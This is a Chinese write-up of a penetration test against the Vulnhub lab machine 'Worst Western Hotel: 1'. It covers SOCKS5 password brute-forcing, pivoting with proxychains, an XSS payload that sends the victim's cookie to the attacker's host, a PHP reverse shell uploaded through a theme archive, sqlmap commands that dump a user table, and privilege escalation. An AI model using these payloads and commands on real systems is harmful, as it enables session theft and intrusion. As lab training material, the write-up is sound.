Vulnhub 靶场 WORST WESTERN HOTEL: 1
前期准备:
靶机地址:https://www.vulnhub.com/entry/worst-western-hotel-1,693/
kali攻击机ip:192.168.11.129
靶机ip:192.168.11.148
一、信息收集
1.使用nmap对目标靶机进行扫描
发现开放了80(重定向到主机 prime.worstwestern.com)和1080(socks5 需要身份认证)
2. 80端口
在hosts文件中添加主机名 prime.worstwestern.com 后访问:
扫一下目录:
发现个 /config.txt 文件中发现了一组用户名密码:
给了一个段 192.168.1.0/24 ,还有用户名密码:
Username: Prime
password: temppassword (changed regulary )
除此之外还发现了一个登录界面:
用户密码不像是在这里登录的,加上邮箱地址试过也不行,那可能是上面扫出来的 socks5 代理中用的。
二、socks5
上面提示密码是会变的,所以这个密码也就没什么用,先爆破一下 socks5 的密码:
login: Prime password: tinkerbell1
然后在 proxychains 配置文件中配置 socks5:
socks5 192.168.11.148 1080 Prime tinkerbell1
开启 dynamic_chain:
添加 socks5 代理:
使用 socks5 代理来进行一下主机嗅探:
proxychains netdiscover -i eth0
发现两个新的段,192.168.0.0/24 和 192.168.1.0/24,前面的 config.txt 文件中提示 192.168.1.0/24 段,那就先从 192.168.1.0/24 段开始。
1、 192.168.1.0/24 段
使用 proxychains nmap 扫描一下 192.168.1.0/24 段:
proxychains nmap -sT -Pn -p22,80,443 192.168.1.0/24
发现一个地址 192.168.1.124,扫一下这个地址:
开了 80 和 443 端口,使用 proxychains firefox
命令打开火狐浏览器访问:
发现登录界面,检查了一下也没有提示,爆破也没有结果,不过发现有 xss,我用 xss 获取了 cookie:
<script>var x=new Image();x.src="http://192.168.11.129:8000?mycookies="+document['cookie'];document.body.appendChild(x);</script>
更改一下 cookie,刷新一下界面:
查看一下源码:
发现第二张图片的命名和其他的不一样,可能有问题,看了好久,发现一组用户名密码:
peterg:Birdistheword
靶机没有开着 22 端口,那就可能是 80 端口上发现的那个登录界面,不过那个登录界面是邮箱登录,所以尝试用户名后加邮箱登录试试:
peterg@worstwestern.com:Birdistheword
登陆成功,一般到这中管理界面就会想上传一个 shell,找找哪里能上传:
发现 Preferences/theme 主题这里可以进行导出导入,尝试了几种方法,还是从网站上先下载主题写入 shell 然后再上传快一点:
先导出:
点两个 save,导出,不解压压缩包,解压后再压缩上传容易报配置错误,写一个反弹 shell 脚本,放到 /themes/hotel-reservation-theme/ 目录下(放哪都行,能找到就行):
直接拖到压缩包中,然后上传,因为改过的主题名和原本网站中的一样,可以改一下网站中的主题名,然后上传,上传后访问 /themes/hotel-reservation-theme/shell.php 并 nc 监听:
nc 连接成功,升级一下 shell,查看文件:
得到 flag1,查看下ip:
2. 192.168.0.0/24 段
发现 ip 是 192.168.0.100,是 192.168.0.0/24 段的,当然也可以再扫一下这个段,不过前面发现了 192.168.0.1,扫一下:
proxychains nmap -Pn -sT -p22,80,443 192.168.0.1
发现开着 22、80 和 443 端口。
proxychains firefox
命令打开火狐浏览器:
80端口
443端口:
两个页面都存在 sql 注入,我这里用忘记密码界面注入:
proxychains -q sqlmap -u "https://192.168.0.1/forgot-password.php" --forms --dbs
proxychains -q sqlmap -u "https://192.168.0.1/forgot-password.php" --forms -D crm --tables --batch
user表:
proxychains -q sqlmap -u "https://192.168.0.1/forgot-password.php" --forms -D crm -T user --dump --batch
发现了一些邮箱和密码,也就第一条正常点,尝试 ssh 登录,试了用户名密码是:
peterg:TheBirdIsTheWord
发现 flag2。
三、提权
尝试提权,查看权限和文件没什么发现:
用 linpeas.sh 脚本跑一下:
发现能用 php 提取:
提权成功,查看 flag:
完成。这个靶机不错,考察的知识点不难但丰富,很有意思。